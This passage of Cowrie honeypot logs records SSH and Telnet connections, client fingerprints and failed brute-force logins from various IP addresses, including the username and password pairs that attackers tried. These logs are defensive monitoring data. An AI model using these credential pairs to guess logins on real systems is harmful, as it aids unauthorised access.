2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:45:40.477521Z","src_ip":"91.92.40.4","session":"5eab1879882b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"654321","message":"login attempt [git/654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:45:40.732790Z","src_ip":"91.92.40.4","session":"5eab1879882b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:45:41.817422Z","src_ip":"91.92.40.4","session":"5eab1879882b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.58.21","src_port":38450,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b9c17d2a590","protocol":"ssh","message":"New connection: 162.144.58.21:38450 (159.203.135.109:22) [session: 4b9c17d2a590]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:45:45.607322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:45:45.612379Z","src_ip":"162.144.58.21","session":"4b9c17d2a590","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:45:45.707192Z","src_ip":"162.144.58.21","session":"4b9c17d2a590","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tashkent_uzbekistan","password":"tashkent123","message":"login attempt [tashkent_uzbekistan/tashkent123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:45:45.990644Z","src_ip":"162.144.58.21","session":"4b9c17d2a590","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:45:47.374353Z","src_ip":"162.144.58.21","session":"4b9c17d2a590","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.32.202.140","src_port":36850,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb929b3ee50c","protocol":"telnet","message":"New connection: 36.32.202.140:36850 (10.17.0.5:23) [session: eb929b3ee50c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:46:04.682184Z"}
{"eventid":"cowrie.session.closed","duration":0.005282402038574219,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:46:04.687297Z","src_ip":"36.32.202.140","session":"eb929b3ee50c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"36.32.202.140","src_port":36856,"dst_ip":"10.17.0.5","dst_port":23,"session":"c52d7a17328b","protocol":"telnet","message":"New connection: 36.32.202.140:36856 (10.17.0.5:23) [session: c52d7a17328b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:46:04.936290Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":52604,"dst_ip":"10.17.0.5","dst_port":22,"session":"4964e7b1e1a1","protocol":"ssh","message":"New connection: 8.210.75.243:52604 (10.17.0.5:22) [session: 4964e7b1e1a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:46:05.712823Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"12345","message":"login attempt [admin/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:46:05.988516Z","src_ip":"36.32.202.140","session":"c52d7a17328b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.2976164817810059,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:46:06.233749Z","src_ip":"36.32.202.140","session":"c52d7a17328b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"36.32.202.140","src_port":36877,"dst_ip":"10.17.0.5","dst_port":23,"session":"eec8f80332e9","protocol":"telnet","message":"New connection: 36.32.202.140:36877 (10.17.0.5:23) [session: eec8f80332e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:46:06.492121Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:46:07.523872Z","src_ip":"36.32.202.140","session":"eec8f80332e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.2918591499328613,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:46:07.783833Z","src_ip":"36.32.202.140","session":"eec8f80332e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"36.32.202.140","src_port":36903,"dst_ip":"10.17.0.5","dst_port":23,"session":"a23c0c59c27a","protocol":"telnet","message":"New connection: 36.32.202.140:36903 (10.17.0.5:23) [session: a23c0c59c27a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:46:08.032331Z"}
{"eventid":"cowrie.session.closed","duration":0.3854696750640869,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:46:08.417629Z","src_ip":"36.32.202.140","session":"a23c0c59c27a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.237.244.154","src_port":42800,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ff84370302d","protocol":"ssh","message":"New connection: 77.237.244.154:42800 (10.17.0.5:22) [session: 1ff84370302d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:46:11.784268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:46:11.788261Z","src_ip":"77.237.244.154","session":"1ff84370302d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:46:11.885670Z","src_ip":"77.237.244.154","session":"1ff84370302d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"beefy456","message":"login attempt [root/beefy456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:46:12.172059Z","src_ip":"77.237.244.154","session":"1ff84370302d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:46:13.267663Z","src_ip":"77.237.244.154","session":"1ff84370302d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":36466,"dst_ip":"10.17.0.5","dst_port":22,"session":"a86f0128bfbd","protocol":"ssh","message":"New connection: 8.210.75.243:36466 (10.17.0.5:22) [session: a86f0128bfbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:46:17.621552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:46:17.808694Z","src_ip":"8.210.75.243","session":"a86f0128bfbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":55770,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2e6db52e741","protocol":"ssh","message":"New connection: 103.153.68.219:55770 (159.203.135.109:22) [session: f2e6db52e741]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:46:25.801400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:46:25.805146Z","src_ip":"103.153.68.219","session":"f2e6db52e741","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:46:26.054425Z","src_ip":"103.153.68.219","session":"f2e6db52e741","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"3e4r5t6y","message":"login attempt [root/3e4r5t6y] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:46:26.802684Z","src_ip":"103.153.68.219","session":"f2e6db52e741","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:46:28.054391Z","src_ip":"103.153.68.219","session":"f2e6db52e741","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.108.61","src_port":41198,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9ffc3091a73","protocol":"ssh","message":"New connection: 144.91.108.61:41198 (10.17.0.5:22) [session: e9ffc3091a73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:46:32.350154Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:46:32.354039Z","src_ip":"144.91.108.61","session":"e9ffc3091a73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:46:32.448467Z","src_ip":"144.91.108.61","session":"e9ffc3091a73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bybit","password":"bybit123","message":"login attempt [bybit/bybit123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:46:32.732383Z","src_ip":"144.91.108.61","session":"e9ffc3091a73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:46:33.828282Z","src_ip":"144.91.108.61","session":"e9ffc3091a73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":48560,"dst_ip":"10.17.0.5","dst_port":22,"session":"8bc06bddc7ad","protocol":"ssh","message":"New connection: 8.210.75.243:48560 (10.17.0.5:22) [session: 8bc06bddc7ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:46:35.169951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:46:35.173751Z","src_ip":"8.210.75.243","session":"8bc06bddc7ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":60658,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d402ee4d53e","protocol":"ssh","message":"New connection: 8.210.75.243:60658 (10.17.0.5:22) [session: 0d402ee4d53e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:46:57.439137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:46:57.443754Z","src_ip":"8.210.75.243","session":"0d402ee4d53e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.240.192.82","src_port":33181,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec734aee8b8b","protocol":"ssh","message":"New connection: 66.240.192.82:33181 (10.17.0.5:22) [session: ec734aee8b8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:47:04.434304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:47:04.438580Z","src_ip":"66.240.192.82","session":"ec734aee8b8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"b8069e0b946242e63cf891f54883713b","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: b8069e0b946242e63cf891f54883713b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:47:04.516195Z","src_ip":"66.240.192.82","session":"ec734aee8b8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:47:04.744977Z","src_ip":"66.240.192.82","session":"ec734aee8b8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.224","src_port":42028,"dst_ip":"159.203.135.109","dst_port":22,"session":"e61ec5442dc5","protocol":"ssh","message":"New connection: 190.244.39.224:42028 (159.203.135.109:22) [session: e61ec5442dc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:47:16.575898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:47:16.579985Z","src_ip":"190.244.39.224","session":"e61ec5442dc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:47:16.756276Z","src_ip":"190.244.39.224","session":"e61ec5442dc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd9","message":"login attempt [root/P@ssw0rd9] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:47:17.485490Z","src_ip":"190.244.39.224","session":"e61ec5442dc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:47:18.662623Z","src_ip":"190.244.39.224","session":"e61ec5442dc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:47:22.386144Z","src_ip":"8.210.75.243","session":"072bd73dc04b","protocol":"ssh"}
